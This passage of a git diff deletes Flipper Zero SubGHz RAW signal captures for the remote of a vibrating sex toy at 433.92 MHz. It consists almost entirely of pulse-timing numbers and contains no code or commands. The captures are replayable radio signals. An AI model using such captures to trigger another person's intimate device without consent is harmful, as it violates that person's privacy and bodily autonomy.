1361 -100 731 -334 1723 -164 1379 -66 99 -98 493 -66 985 -66 753 -98 1451 -66 565 -66 167 -134 133 -100 233 -66 331 -66 297 -132 199 -100 263 -136 531 -100 165 -98 2803 -100 2351 -298 199 -132 1627 -66 265 -132 597 -66 365 -166 763 -134 857 -66 491 -132 965 -98 1565 -132 427 -132 2879 -132 165 -230 2373 -66 431 -98 729 -134 2789 -66 131 -68 131 -66 1425 -132 533 -66 721 -100 2799 -196 591 -66 129 -130 129 -294 625 -130 723 -98 10881 -66 5291 -66 435 -66 399 -100 331 -100 1787 -134 229 -98 721 -100 591 -100 955 -166 597 -66 1983 -198 599 -330 793 -66 99 -98 2453 -132 759 -66 833 -66 731 -102 235 -132 2571 -66 393 -298 299 -132 1059 -66 1095 -66 167 -166 763 -368 929 -68 165 -98 1357 -100 131 -66 735 -168 727 -296 1151 -166 1025 -100 1563 -68 629 -66 699 -100 201 -68 2129 -98 725 -66 1089 -232 961 -66 1093 -66 1395 -134 1285 -100 655 -98 1581 -100 997 -364 329 -98 1135 -132 265 -100 395 -98 1685 -98 2051 -100 729 -100 1891 -66 265 -100 199 -66 467 -100 597 -132 993 -66 329 -164 2053 -64 295 -328 131 -98 1381 -164 231 -68 297 -68 199 -66 333 -66 431 -134 331 -264 563 -132 3363 -98 231 -100 1413 -100 1415 -132 433 -134 429 -66 663 -98 459 -100 1065 -66 1129 -100 559 -164 1487 -66 1193 -196 791 -66 897 -68 2131 -100 131 -100 101 -132 397 -68 599 -132 1159 -66 1051 -100 463 -100 295 -262 495 -66 263 -98 1385 -66 1465 -66 99 -132 2381 -66 863 -134 1029 -132 595 -66 65 -66 365 -264 799 -98 431 -100 4513 -66 697 -132 263 -132 1559 -66 4869 -234 1051 -132 1129 -66 931 -98 433 -166 131 -100 2059 -132 1397 -134 2535 -198 823 -132 465 -230 363 -98 1613 -66 293 -198 1747 -332 865 -66 297 -66 1677 -198 2377 -98 1809 -228 791 -66 889 -98 657 -132 1295 -132 263 -66 961 -132 463 -132 259 -98 791 -98 755 -166 1053 -196 1611 -98 265 -100 1459 -134 99 -100 3765 -66 917 -66 4723 -132 195 -66 1083 -100 329 -66 161 -98 2451 -68 267 -134 299 -66 301 -100 1557 -100 265 -100 429 -98 -RAW_Data: 1583 -66 1027 -68 2777 -66 1683 -100 331 -98 831 -132 757 -198 229 -164 789 -164 2295 -68 8295 -66 1661 -98 931 -100 1555 -98 2737 -66 1099 -134 593 -100 629 -198 4909 -100 5033 -66 229 -98 721 -66 2345 -66 2311 -98 333 -132 5349 -164 327 -66 361 -100 2081 -98 197 -98 823 -130 525 -66 791 -66 755 -64 891 -66 665 -66 497 -66 4085 -66 4379 -64 327 -132 3521 -330 1051 -66 295 -100 1363 -68 233 -136 531 -100 263 -68 5903 -66 927 -132 365 -100 825 -166 1625 -134 1857 -100 265 -66 1067 -68 1025 -100 131 -66 265 -66 751 -98 493 -134 1251 -100 199 -66 1713 -100 721 -66 1429 -66 367 -230 587 -132 1249 -66 167 -132 465 -68 565 -100 365 -168 727 -100 2379 -164 987 -200 429 -100 695 -66 1197 -66 495 -66 301 -100 131 -66 1127 -100 363 -100 229 -100 2119 -266 4841 -164 1049 -66 855 -98 1215 -66 653 -66 1291 -100 301 -66 133 -132 1463 -66 1431 -132 727 -132 1755 -100 1291 -100 2551 -66 983 -66 665 -66 901 -198 199 -98 561 -200 165 -98 1131 -66 367 -100 561 -98 357 -64 493 -100 163 -66 295 -166 327 -66 1643 -168 331 -100 329 -132 299 -66 597 -66 697 -134 629 -66 1445 -64 1579 -100 1183 -66 561 -98 2999 -98 295 -98 759 -66 1031 -100 133 -66 67 -166 465 -100 4277 -164 1517 -132 1821 -66 299 -98 3143 -132 461 -100 1691 -66 4779 -66 755 -164 195 -132 1149 -130 2169 -98 7751 -132 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub deleted file mode 100644 index 3dd064006..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3089 -66 1193 -64 261 -166 1213 379 1449 -68 1525 -66 365 -130 163 -132 2007 -132 819 -130 1657 -132 1089 -66 2161 -100 2369 -66 1617 -66 1163 -66 1019 -98 361 -98 2139 -100 531 -132 3485 -66 365 -166 133 -132 563 -66 1595 -66 197 -168 3537 -66 529 -100 795 -66 1593 -100 1061 -66 2627 -66 781 -166 3043 -66 431 -66 167 -134 2831 -98 463 -68 795 -68 3487 -100 3213 -66 697 -68 363 -100 949 -98 457 -262 65 -98 987 -166 591 -198 921 -66 695 -66 329 -66 989 -98 815 -100 753 -66 1217 -132 1019 -100 2625 -132 3681 -100 7731 -66 431 -66 2177 -66 763 -68 1793 -232 1575 -100 299 -66 165 -66 955 -66 1053 -132 1705 -66 361 -66 1249 -130 5717 -100 3459 -66 3447 -168 999 -166 1395 -98 2071 -132 1647 -166 431 -68 1287 -98 65 -66 1247 -100 461 -132 431 -132 165 -68 1129 -66 401 -66 2757 -102 2495 -66 1163 -66 2061 -66 597 -68 165 -100 1973 -164 459 -98 333 -100 331 -66 923 -66 259 -130 1475 -66 1295 -134 65 -68 829 -132 495 -100 231 -66 921 -66 2057 -100 1159 -130 1813 -66 1295 -68 365 -68 663 -66 2461 -66 687 -98 987 -98 859 -66 797 -98 361 -100 527 -134 463 -166 1261 -66 1093 -68 1419 -100 399 -100 4933 -66 2109 -68 2211 -230 593 -164 2071 -100 97 -66 1941 -164 229 -132 263 -198 3075 -66 63 -66 3411 -100 1889 -68 267 -66 4837 -100 331 -132 4575 -68 399 -66 1165 -66 1131 -130 261 -66 693 -132 131 -98 595 -98 593 -66 719 -132 295 -66 295 -132 523 -64 753 -132 97 -296 263 -264 97 -132 427 -66 829 -98 3249 -66 431 -100 527 -166 465 -66 195 -100 429 -68 199 -134 4109 -66 1461 -266 363 -66 493 -198 1149 -132 195 -98 393 -132 163 -96 557 -132 2585 -68 1029 -66 499 -134 2427 -100 269 -98 4247 -98 3039 -66 5021 -66 529 -134 859 -68 3353 -132 2567 -164 1521 -66 3879 -100 687 -98 163 -230 2083 -100 1099 -232 497 -134 761 -98 3915 -236 1327 -68 165 -66 6301 -68 3187 -66 1485 -100 97 -66 3287 -98 2283 -166 431 -98 1925 -66 799 -98 1813 -100 2195 -66 1197 -132 1525 -100 131 -66 333 -98 299 -200 765 -132 497 -98 403 -66 395 -66 727 -166 167 -66 1331 -66 235 -98 165 -98 2075 -64 363 -100 129 -130 557 -132 263 -98 1493 -132 827 -66 3061 -134 1031 -68 799 -132 529 -198 99 -68 1097 -132 4295 -130 557 -66 229 -64 2899 -66 2459 -66 927 -100 65 -100 593 -66 197 -64 131 -98 589 -132 261 -64 591 -132 293 -98 131 -98 1117 -98 557 -98 1807 -66 3103 -132 527 -66 -RAW_Data: 197 -68 2905 -98 3213 -68 1225 -66 2357 -66 2149 -100 397 -68 301 -66 3145 -872 377 -880 407 -880 361 -920 383 -884 391 -870 383 -852 439 -846 1675 -446 413 -410 441 -416 409 -438 417 -448 385 -444 409 -448 419 -850 409 -418 413 -446 411 -446 383 -450 425 -840 415 -450 401 -424 443 -414 419 -856 411 -848 421 -430 407 -846 391 -448 411 -854 413 -452 399 -852 413 -450 403 -852 415 -852 427 -872 375 -888 417 -846 399 -882 385 -852 423 -874 383 -852 441 -844 1677 -450 393 -448 411 -424 411 -448 409 -452 381 -444 415 -444 395 -850 415 -450 401 -428 405 -416 443 -850 411 -418 443 -420 411 -446 383 -884 395 -434 415 -848 437 -430 389 -876 435 -432 387 -876 407 -424 411 -876 411 -418 425 -838 443 -848 413 -848 423 -852 381 -884 399 -866 417 -848 405 -850 417 -852 423 -872 1665 -448 385 -456 397 -432 417 -448 425 -398 435 -416 411 -450 399 -866 419 -416 415 -432 411 -444 413 -868 413 -420 431 -428 409 -416 417 -848 441 -418 415 -848 441 -418 417 -846 441 -388 447 -846 433 -390 443 -846 401 -442 413 -842 437 -848 385 -850 423 -842 415 -876 407 -840 429 -850 417 -844 407 -880 419 -842 1689 -418 395 -450 409 -426 409 -448 411 -418 413 -444 415 -442 407 -844 419 -410 445 -414 407 -440 417 -848 441 -410 415 -416 421 -440 409 -874 399 -426 411 -844 429 -424 443 -842 437 -386 447 -844 437 -388 447 -846 433 -388 443 -846 403 -884 383 -854 421 -878 411 -844 413 -844 425 -836 413 -868 415 -854 427 -840 1679 -426 441 -412 419 -426 409 -446 413 -420 429 -416 413 -424 409 -876 431 -390 443 -414 419 -432 399 -866 419 -418 441 -430 387 -448 413 -838 421 -444 413 -834 409 -414 449 -854 411 -420 431 -820 443 -420 427 -834 449 -426 445 -842 397 -850 415 -854 425 -838 441 -824 451 -844 435 -816 413 -862 411 -850 437 -820 1707 -424 445 -382 437 -434 415 -418 417 -440 411 -418 445 -416 409 -846 447 -412 409 -446 413 -408 441 -844 419 -410 449 -414 407 -440 413 -852 441 -392 441 -850 407 -420 411 -878 413 -418 427 -838 449 -380 439 -846 421 -420 439 -95454 231 -464 65 -134 165 -262 65 -98 329 -230 131 -66 165 -296 1023 -66 163 -100 3919 -66 429 -66 365 -134 265 -100 1159 -264 2049 -66 599 -66 1421 -198 361 -66 559 -66 1195 -66 197 -100 567 -100 965 -66 1367 -100 3323 -100 295 -66 163 -98 6113 -66 199 -98 633 -132 925 -66 295 -134 1459 -198 595 -98 629 -66 759 -164 231 -98 1491 -66 559 -98 -RAW_Data: 461 -132 1819 -66 3403 -100 1643 -66 65 -166 1957 -98 6003 -98 4963 -100 165 -98 1705 -230 1779 -98 621 -130 435 -68 197 -68 3517 -198 263 -98 10409 -100 231 -64 293 -98 525 -66 727 -166 2687 -100 1049 -98 4105 -98 1877 -66 6509 -132 9867 -98 557 -100 593 -66 291 -164 2287 -100 165 -66 1027 -132 3947 -100 5189 -66 97 -66 231 -266 265 -132 233 -100 797 -66 1313 -132 161 -98 2111 -66 1351 -98 555 -66 425 -66 227 -196 627 -164 4899 -132 1261 -98 1741 -66 129 -66 1527 -66 595 -66 163 -134 997 -132 99 -66 725 -66 1261 -66 4281 -132 389 -166 129 -198 685 -66 4429 -66 425 -66 227 -100 231 -66 1875 -100 2581 -132 1851 -64 585 -66 921 -166 2895 -66 985 -132 2057 -166 561 -264 263 -66 361 -196 197 -100 265 -68 953 -66 591 -262 363 -100 995 -100 3885 -166 727 -68 1351 -100 585 -66 1343 -132 787 -98 163 -132 1921 -98 2855 -134 797 -198 2711 -132 2047 -162 2087 -68 2719 -68 1357 -100 525 -66 989 -68 563 -100 4811 -66 2419 -66 497 -64 557 -132 231 -100 3687 -100 459 -100 197 -134 2569 -98 1879 -66 659 -132 663 -66 467 -130 723 -98 65 -164 489 -98 2911 -100 65 -132 695 -166 2825 -100 925 -134 635 -232 1185 -66 461 -66 459 -98 919 -134 197 -64 589 -130 2743 -134 299 -66 567 -66 97 -134 899 -66 65 -98 725 -66 625 -134 499 -132 989 -98 1351 -98 1715 -100 99 -100 2223 -64 165 -66 1193 -100 1227 -66 595 -132 2153 -100 533 -100 399 -100 2949 -100 729 -100 3457 -100 301 -100 699 -66 1491 -232 4853 -132 99 -66 1159 -100 97 -66 295 -100 231 -168 897 -130 495 -134 167 -68 3591 -198 959 -66 497 -132 1097 -66 3781 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub deleted file mode 100644 index 7be8dd340..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2859 -66 757 -98 1061 -66 3217 -66 2691 -132 131 -768 2633 -130 555 -164 1447 -66 1059 -98 133 -100 1091 -296 1287 -200 1693 -132 729 -68 2687 -68 1367 -66 1293 -100 501 -134 663 -100 265 -200 1325 -64 2121 -132 597 -100 1787 -66 4711 -100 761 -16602 65 -2858 131 -1648 167 -164 99 -132 99 -528 329 -200 133 -132 3983 -102 2457 -66 999 -66 2801 -100 1093 -98 463 -166 299 -66 629 -100 4311 -134 397 -66 2113 -132 555 -132 1907 -102 1629 -66 1295 -100 2955 -100 1925 -234 397 -132 2471 -66 133 -98 693 -132 661 -66 531 -66 167 -100 1063 -168 131 -100 1025 -66 65 -66 361 -66 1285 -130 657 -64 3389 -66 1839 -132 2127 -100 2525 -132 465 -66 199 -98 2123 -66 4037 -66 859 -100 493 -132 591 -264 1021 -66 1331 -100 1531 -132 133 -66 565 -66 99 -100 461 -66 4379 -100 1819 -68 3041 -100 1497 -68 3583 -100 297 -100 267 -132 4433 -66 131 -66 2129 -66 535 -100 1857 -166 1359 -134 367 -66 927 -164 65 -66 1183 -66 329 -64 395 -98 1597 -100 4583 -98 4847 -164 527 -98 1181 -98 3249 -66 363 -66 197 -100 861 -134 357 -66 1415 -98 363 -162 1157 -98 597 -132 267 -166 331 -98 3017 -66 531 -68 563 -98 761 -66 863 -98 331 -100 1961 -66 1093 -100 501 -100 297 -66 1125 -66 1827 -134 1063 -100 491 -66 65 -130 131 -100 395 -66 1293 -168 497 -66 197 -100 963 -100 967 -198 431 -66 265 -66 497 -100 363 -66 465 -100 463 -100 1459 -100 1091 -66 1279 -164 1017 -98 2699 -166 493 -98 4941 -98 3785 -66 557 -132 3871 -98 1253 -66 1495 -100 163 -66 589 -100 97 -198 457 -98 1387 -66 63 -100 949 -66 1015 -100 661 -100 1093 -134 1725 -66 4383 -66 861 -98 2415 -66 361 -98 1881 -68 1159 -100 1265 -100 2125 -66 263 -66 233 -100 2029 -100 1393 -134 1029 -100 1961 -68 593 -66 2049 -64 1245 -66 163 -100 3313 -100 999 -100 231 -134 429 -100 791 -100 299 -66 2671 -66 97 -66 393 -66 295 -98 2277 -66 327 -66 3523 -66 793 -66 131 -100 231 -66 2231 -132 1923 -102 3607 -66 393 -132 983 -132 2277 -134 767 -102 363 -100 765 -100 935 -100 523 -198 1851 -98 3191 -66 127 -132 227 -98 817 -64 1671 -228 2139 -132 65 -66 1723 -66 459 -132 691 -132 1051 -100 531 -134 2585 -66 591 -98 1183 -98 131 -130 955 -66 1457 -132 265 -132 1249 -132 3111 -166 265 -66 2487 -134 5913 -132 265 -100 2817 -66 1529 -132 2649 -100 819 -66 329 -64 3283 -230 791 -64 1085 -130 2049 -66 467 -100 2057 -102 333 -66 463 -98 4405 -66 3187 -68 331 -68 -RAW_Data: 1291 -132 1493 -66 1493 -100 759 -100 429 -64 1119 -66 491 -66 885 -134 3283 -98 199 -68 1383 -66 131 -98 2605 -66 4637 -66 593 -66 2263 -98 7107 -66 9745 -66 1521 -66 14171 -68 299 -100 2483 -166 3093 -66 433 -132 261 -132 261 -130 721 -98 757 -98 131 -98 1845 -66 563 -64 889 -100 2697 -98 163 -164 163 -66 231 -98 493 -66 1415 -100 497 -66 195 -132 2715 -132 363 -66 1591 -134 263 -100 2429 -98 465 -132 265 -132 931 -66 3619 -166 763 -100 725 -66 2307 -134 1099 -98 1681 -66 333 -134 231 -100 1929 -100 4451 -132 99 -98 2287 -66 2089 -68 1255 -100 5665 -66 2265 -66 785 -98 1247 -198 97 -66 1949 -66 1359 -134 5939 -66 1661 -66 961 -66 1017 -66 1741 -68 659 -166 631 -66 299 -68 1785 -68 2823 -134 527 -66 765 -66 97 -68 297 -100 599 -100 67 -230 331 -166 729 -198 1885 -132 331 -66 4453 -68 1033 -66 1887 -332 1885 -66 395 -130 1219 -132 663 -66 397 -134 65 -100 297 -166 1323 -134 165 -68 2459 -66 931 -68 131 -100 363 -100 167 -66 967 -66 99 -100 659 -66 97 -164 493 -66 897 -66 1135 -134 1101 -132 397 -66 4351 -66 1461 -132 2117 -134 565 -100 597 -100 1319 -864 381 -880 395 -886 383 -852 425 -838 413 -878 407 -874 395 -852 1675 -450 411 -440 391 -444 413 -416 447 -404 413 -444 411 -440 395 -874 419 -410 441 -412 409 -436 411 -874 397 -430 413 -446 383 -434 435 -838 425 -426 411 -876 399 -422 443 -844 399 -426 443 -846 397 -424 443 -846 399 -426 443 -846 399 -880 385 -892 381 -882 397 -862 417 -848 399 -872 387 -884 389 -874 417 -856 1703 -398 435 -416 415 -420 439 -428 389 -446 415 -416 433 -428 407 -876 399 -422 443 -416 417 -432 397 -868 417 -848 437 -418 415 -452 415 -832 411 -872 399 -850 415 -436 431 -844 389 -466 405 -872 395 -446 411 -842 435 -412 413 -878 409 -838 423 -854 415 -852 395 -870 417 -848 441 -848 419 -856 413 -838 423 -840 1677 -454 415 -416 407 -454 381 -446 417 -452 401 -428 407 -420 409 -878 409 -448 409 -400 423 -446 415 -836 415 -884 399 -430 415 -418 417 -864 409 -876 399 -858 419 -418 407 -884 419 -418 409 -870 417 -418 417 -864 415 -416 417 -850 439 -846 425 -850 389 -876 417 -820 441 -846 423 -852 387 -876 409 -846 413 -844 1679 -452 387 -450 405 -424 441 -414 413 -422 411 -444 417 -450 401 -854 411 -412 423 -422 445 -414 407 -866 419 -844 435 -386 445 -416 441 -840 417 -848 407 -848 447 -418 409 -848 415 -440 433 -846 417 -428 -RAW_Data: 409 -846 425 -412 445 -844 405 -846 451 -852 417 -842 409 -864 419 -846 441 -812 453 -850 417 -846 409 -850 1705 -430 407 -418 415 -450 409 -448 411 -420 429 -396 437 -416 443 -846 413 -416 417 -418 441 -408 413 -850 437 -862 417 -414 411 -420 423 -840 415 -874 413 -848 419 -398 437 -844 427 -428 441 -842 401 -426 443 -842 433 -388 445 -844 403 -850 415 -852 423 -876 413 -842 449 -842 399 -850 413 -854 425 -838 419 -850 1697 -452 401 -428 409 -418 445 -422 427 -410 413 -452 423 -418 409 -848 415 -452 403 -426 411 -416 445 -842 413 -874 431 -390 443 -414 441 -838 419 -844 435 -846 421 -396 437 -844 427 -428 409 -842 425 -424 443 -842 401 -424 445 -97388 65 -134 165 -890 165 -232 131 -328 163 -628 67 -200 1127 -164 11129 -132 463 -100 791 -100 589 -66 1351 -66 1181 -196 851 -100 1841 -100 131 -66 463 -100 865 -166 2253 -268 1895 -100 899 -100 3521 -100 1675 -66 329 -68 695 -100 1823 -66 3471 -98 293 -98 63 -230 263 -100 1447 -66 295 -98 129 -66 1805 -98 361 -64 1055 -98 1083 -66 1265 -132 495 -100 165 -100 897 -166 659 -66 2123 -66 333 -66 695 -66 927 -100 627 -100 1553 -64 655 -66 331 -134 131 -100 1799 -134 569 -66 1429 -66 133 -166 933 -98 625 -66 2553 -98 429 -134 1031 -100 1125 -100 3327 -98 623 -64 1277 -66 3391 -66 1561 -98 429 -134 965 -98 1283 -66 297 -98 1253 -66 559 -66 3345 -66 1351 -66 1443 -164 293 -98 685 -100 97 -68 863 -132 199 -132 265 -100 565 -66 901 -132 1189 -66 399 -98 863 -100 1365 -66 265 -68 1199 -98 429 -66 2151 -232 263 -168 3587 -132 2053 -132 2669 -66 2003 -100 953 -66 131 -64 657 -100 195 -294 461 -130 1381 -66 885 -98 2211 -66 829 -66 1135 -68 963 -98 165 -64 1625 -98 761 -66 395 -100 5373 -66 4123 -100 565 -202 563 -134 297 -100 131 -68 65 -66 987 -100 265 -100 133 -132 897 -66 857 -100 331 -198 1291 -134 197 -134 897 -66 2515 -100 563 -98 531 -132 263 -200 429 -100 993 -66 2189 -166 231 -68 1795 -264 331 -132 329 -68 299 -66 7823 -66 1791 -166 827 -132 3003 -64 1317 -64 1647 -66 1645 -132 3969 -66 297 -66 2363 -198 329 -66 989 -132 65 -100 629 -66 99 -98 363 -66 1491 -66 565 -66 3861 -166 165 -100 1713 -66 1061 -66 393 -98 99 -132 327 -66 4771 -66 2523 -66 263 -68 167 -68 1029 -166 265 -66 99 -298 2419 -68 767 -264 97 -98 427 -66 949 -132 2091 -100 365 -100 729 -134 333 -132 1793 -98 863 -66 535 -98 -RAW_Data: 4205 -132 365 -68 1097 -66 1059 -98 785 -166 3821 -100 727 -266 697 -66 497 -66 16225 -66 1493 -66 233 -132 661 -134 1131 -100 897 -100 1393 -68 825 -264 1383 -66 1741 -66 261 -66 8673 -66 3583 -98 327 -198 1255 -98 491 -66 1481 -100 685 -66 893 -66 329 -166 759 -130 3943 -66 231 -66 1641 -100 1527 -66 1749 -66 1089 -134 1327 -98 10723 -66 363 -68 431 -134 1327 -134 361 -66 1087 -98 559 -98 265 -168 599 -100 1225 -100 693 -132 501 -132 601 -132 3723 -66 267 -100 165 -66 627 -66 657 -132 1057 -232 2191 -66 1159 -164 1293 -236 1433 -66 233 -166 499 -134 65 -132 1361 -100 399 -66 2323 -66 327 -100 2235 -198 719 -134 3999 -466 1519 -98 1755 -98 831 -100 163 -98 1909 -66 1189 -198 1259 -100 1773 -132 917 -230 721 -98 97 -132 1089 -98 633 -66 891 -66 399 -100 265 -100 899 -66 1797 -132 233 -64 99 -66 97 -98 2469 -164 887 -100 929 -132 693 -100 397 -296 1493 -132 197 -100 267 -132 1227 -134 1061 -132 1463 -166 2891 -98 299 -132 1855 -68 2025 -66 261 -130 1251 -66 1679 -264 561 -100 1091 -100 2253 -66 599 -100 953 -100 1391 -100 561 -134 233 -66 719 -66 885 -264 701 -98 131 -64 2207 -66 1839 -100 591 -66 425 -98 131 -230 9999 -68 3313 -134 3949 -66 1959 -132 665 -66 4645 -66 2335 -66 1219 -164 197 -66 1261 -98 197 -66 565 -68 265 -100 763 -102 497 -66 1395 -66 989 -100 1245 -136 133 -134 299 -134 265 -66 327 -132 1251 -66 757 -132 3827 -132 629 -68 1025 -66 2615 -66 631 -166 1979 -162 393 -66 527 -164 817 -98 131 -134 263 -100 829 -132 693 -134 131 -100 1455 -98 561 -130 625 -98 1017 -132 163 -130 4279 -66 365 -134 265 -66 431 -132 335 -66 165 -66 7431 -98 3179 -66 233 -66 1353 -100 493 -66 819 -100 733 -132 1555 -134 365 -68 3047 -66 2825 -234 299 -132 297 -132 467 -100 1777 -98 129 -164 1383 -100 861 -66 131 -100 2571 -66 4611 -66 1459 -66 2721 -102 665 -98 529 -166 757 -66 1085 -100 2321 -19724 197 -166 827 -266 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub deleted file mode 100644 index dba45f8a3..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 433 -100 201 -234 393 -100 327 -198 131 -98 295 -100 963 -66 1117 -98 1085 -100 1323 424 3153 -66 163 -132 297 -164 331 -132 131 -64 1129 -68 2395 -68 235 -298 1693 -98 1759 -66 265 -100 1295 -100 3507 -66 3643 -134 631 -132 333 -166 589 -132 363 -66 1491 -64 1893 -230 361 -64 721 -98 65 -132 1609 -66 1743 -132 1283 -66 299 -132 1551 -66 327 -68 629 -100 5665 -166 1293 -98 165 -68 263 -166 199 -100 1061 -68 531 -100 299 -68 5549 -100 1059 -98 2203 -98 1479 -134 2941 -98 1021 -100 4523 -66 363 -66 163 -132 97 -166 1459 -100 4005 -98 2237 -198 1427 -100 299 -134 695 -100 593 -98 2533 -66 361 -98 1251 -66 2909 -66 1027 -66 133 -66 2571 -66 1611 -66 1217 -66 2631 -98 295 -164 361 -66 165 -66 229 -132 887 -98 5795 -66 1357 -130 1753 -66 1693 -66 2309 -66 367 -134 2527 -100 1655 -134 1451 -66 5495 -66 397 -66 365 -66 1835 -66 721 -66 2453 -66 2983 -134 235 -234 331 -66 331 -98 1425 -132 2369 -66 1523 -200 699 -132 1823 -228 263 -66 2271 -100 987 -132 2469 -98 2253 -66 263 -100 933 -68 2551 -66 197 -66 395 -68 13589 -100 3519 -68 3155 -98 733 -66 729 -68 297 -234 761 -66 741 -846 413 -878 409 -840 425 -854 415 -852 425 -838 445 -846 411 -848 1675 -452 391 -450 405 -428 441 -414 411 -424 411 -446 417 -416 433 -852 413 -442 409 -416 449 -424 401 -862 417 -848 433 -388 445 -416 411 -854 449 -844 399 -852 411 -440 427 -844 385 -452 411 -850 413 -452 403 -852 413 -442 411 -840 429 -852 415 -852 423 -840 419 -848 441 -844 427 -850 419 -848 409 -846 447 -846 1651 -448 415 -396 439 -446 411 -418 411 -446 415 -418 433 -430 407 -844 425 -426 441 -382 445 -848 447 -382 445 -420 409 -448 413 -838 421 -444 415 -420 429 -850 387 -448 413 -856 423 -444 381 -888 399 -430 417 -842 409 -440 417 -846 407 -848 447 -844 437 -846 385 -868 413 -854 423 -870 411 -846 411 -876 393 -838 1701 -452 421 -416 409 -428 407 -418 415 -420 435 -428 417 -416 419 -884 389 -442 417 -418 431 -822 443 -418 425 -412 443 -414 409 -868 417 -418 417 -436 425 -840 419 -418 439 -820 451 -416 407 -870 419 -416 409 -854 417 -416 439 -828 453 -846 401 -850 415 -868 411 -834 409 -852 417 -866 413 -844 429 -848 415 -854 1675 -460 379 -448 415 -452 403 -424 443 -414 411 -422 411 -446 415 -854 397 -434 415 -448 383 -852 421 -448 413 -452 405 -428 409 -844 427 -426 441 -384 443 -852 413 -416 445 -848 413 -418 417 -846 -RAW_Data: 441 -418 415 -846 441 -418 417 -846 441 -846 419 -852 387 -874 413 -848 413 -876 399 -854 415 -866 379 -876 409 -852 1703 -428 407 -418 443 -416 411 -444 415 -418 431 -410 413 -446 409 -866 417 -416 417 -430 415 -840 449 -414 413 -422 411 -444 415 -870 379 -450 391 -450 407 -854 413 -450 401 -854 413 -412 425 -852 413 -410 439 -844 421 -410 447 -842 439 -812 445 -834 415 -854 425 -840 439 -858 419 -844 437 -846 423 -852 411 -856 1677 -416 437 -430 415 -418 415 -454 403 -428 409 -416 417 -420 451 -844 415 -416 417 -420 451 -830 445 -378 443 -418 409 -446 411 -870 385 -446 413 -422 433 -822 445 -440 411 -842 423 -410 447 -846 403 -424 445 -844 431 -420 417 -105822 99 -334 165 -530 163 -1420 65 -826 165 -366 1259 -64 493 -64 697 -66 3291 -68 1321 -68 2357 -100 3213 -66 65 -66 433 -200 361 -200 1475 -98 3191 -134 297 -100 3775 -66 1061 -132 1829 -66 639 -66 1227 -166 2223 -230 4117 -66 3721 -66 861 -98 431 -198 493 -66 1355 -168 301 -200 2333 -100 433 -98 393 -66 97 -100 1673 -132 1609 -64 525 -134 199 -132 663 -66 993 -66 229 -98 163 -66 2589 -100 519 -66 1019 -100 1885 -66 489 -66 491 -66 559 -98 297 -196 165 -66 885 -98 1083 -66 1083 -66 521 -132 723 -98 4497 -66 933 -102 531 -66 1443 -66 897 -66 1957 -200 197 -134 763 -132 2357 -130 5651 -98 395 -98 325 -66 429 -96 949 -98 2345 -66 2293 -66 465 -66 1727 -66 1123 -66 567 -98 829 -66 4521 -66 465 -66 4049 -66 2649 -168 331 -66 1759 -66 3149 -66 397 -66 687 -66 1389 -66 65 -100 459 -66 1155 -66 1629 -68 401 -98 131 -100 363 -66 3189 -100 163 -66 265 -68 797 -100 1825 -100 327 -66 761 -168 3493 -66 3015 -134 2951 -166 1819 -66 2929 -66 1555 -66 295 -98 65 -98 723 -100 1157 -100 1519 -132 721 -66 1125 -166 2157 -134 99 -66 633 -68 463 -66 2357 -166 3429 -130 1977 -66 1655 -132 165 -234 467 -132 655 -132 2503 -66 2769 -332 923 -66 2759 -100 5563 -134 3477 -64 1415 -66 331 -68 99 -198 395 -166 623 -100 1245 -66 1379 -100 1349 -264 1697 -66 195 -68 65 -100 861 -66 99 -100 1089 -164 1915 -68 1593 -100 1029 -68 525 -130 163 -132 1667 -132 2383 -98 295 -64 329 -198 1673 -66 981 -166 623 -66 2187 -66 1991 -98 1479 -100 855 -66 429 -68 401 -66 431 -66 465 -66 299 -100 469 -66 365 -68 1021 -68 1161 -64 197 -66 5471 -164 3669 -166 6765 -202 927 -66 1351 -130 6677 -164 1485 -66 4115 -66 391 -132 2479 -68 -RAW_Data: 133 -100 1315 -100 7913 -98 9029 -66 2883 -98 359 -66 1095 -232 10999 -98 729 -132 161 -66 2765 -66 493 -100 361 -64 1021 -66 2275 -64 11083 -132 2807 -66 6229 -100 199 -66 859 -66 3247 -100 599 -66 1461 -132 1935 -66 761 -166 1931 -68 1359 -68 4777 -166 667 -132 2279 -98 457 -132 957 -100 1821 -100 197 -98 331 -68 65 -66 3217 -66 297 -102 465 -132 799 -98 1585 -98 2467 -132 63 -132 4355 -166 655 -164 1693 -132 2317 -66 297 -66 697 -132 3387 -64 489 -100 1347 -66 2577 -100 365 -66 1125 -66 3421 -166 1193 -68 433 -100 2247 -66 459 -66 2771 -198 455 -64 4455 -166 563 -100 1531 -68 561 -134 2553 -64 1423 -66 2193 -98 1889 -232 1093 -166 331 -66 331 -166 731 -100 2987 -98 199 -132 2397 -68 1361 -168 991 -66 789 -132 263 -98 233 -66 837 -66 1059 -102 65 -268 663 -134 99 -198 2059 -132 393 -66 2929 -166 297 -132 2959 -132 363 -100 765 -98 1327 -164 2025 -66 661 -66 161 -66 791 -66 3887 -66 497 -98 1485 -98 467 